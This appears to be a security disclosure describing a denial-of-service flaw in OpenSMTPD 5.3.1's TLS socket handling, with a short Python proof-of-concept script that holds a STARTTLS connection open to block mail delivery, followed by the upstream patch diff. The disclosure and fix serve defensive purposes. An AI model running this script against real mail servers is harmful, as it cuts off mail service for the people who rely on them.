The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its
sockets in blocking mode, allowing an attacker to prevent all mail
delivery simply by holding a socket open.
I discovered this accidentally, as I noticed my HP printer's smtp
client would keep the connection indefinitely open after an
unsuccessful authentication attempt, causing no more mail to be
delivered until I SIGKILL'd my smtpd process or unplugged my printer.
The following reproduces the attack trivially:
#!/usr/bin/env python2
import smtplib
import time
print "[+] Connecting to server and initiating TLS"
smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587)
smtp.starttls()
print "[+] No clients will be able to connect as long as this remains open."
time.sleep(100000000)
Apparently this was fixed recently upstream, noting "evil client" in
the commit message:
http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0
A snapshot has been posted to http://www.opensmtpd.org/archives/ , but
no patch release has yet been made.
diff --git a/smtpd/ioev.c b/smtpd/ioev.c
index fcd2452..5094cc4 100644
--- a/smtpd/ioev.c
+++ b/smtpd/ioev.c
@@ -678,11 +678,11 @@ io_start_tls(struct io *io, void *ssl)
if (mode == IO_WRITE) {
io->state = IO_STATE_CONNECT_SSL;
SSL_set_connect_state(io->ssl);
- io_reset(io, EV_READ | EV_WRITE, io_dispatch_connect_ssl);
+ io_reset(io, EV_WRITE, io_dispatch_connect_ssl);
} else {
io->state = IO_STATE_ACCEPT_SSL;
SSL_set_accept_state(io->ssl);
- io_reset(io, EV_READ | EV_WRITE, io_dispatch_accept_ssl);
+ io_reset(io, EV_READ, io_dispatch_accept_ssl);
}
return (0);
@@ -856,14 +856,16 @@ io_dispatch_write_ssl(int fd, short event, void *humppa)
void
io_reload_ssl(struct io *io)
{
- short ev = EV_READ|EV_WRITE;
+ short ev = 0;
void (*dispatch)(int, short, void*) = NULL;
switch (io->state) {
case IO_STATE_CONNECT_SSL:
+ ev = EV_WRITE;
dispatch = io_dispatch_connect_ssl;
break;
case IO_STATE_ACCEPT_SSL:
+ ev = EV_READ;
dispatch = io_dispatch_accept_ssl;
break;
case IO_STATE_UP:
diff --git a/smtpd/smtp.c b/smtpd/smtp.c
index 55f8772..a306baa 100644
--- a/smtpd/smtp.c
+++ b/smtpd/smtp.c
@@ -442,6 +442,7 @@ smtp_accept(int fd, short event, void *p)
close(sock);
return;
}
+ io_set_blocking(sock, 0);
sessions++;
stat_increment("smtp.session", 1);
Jason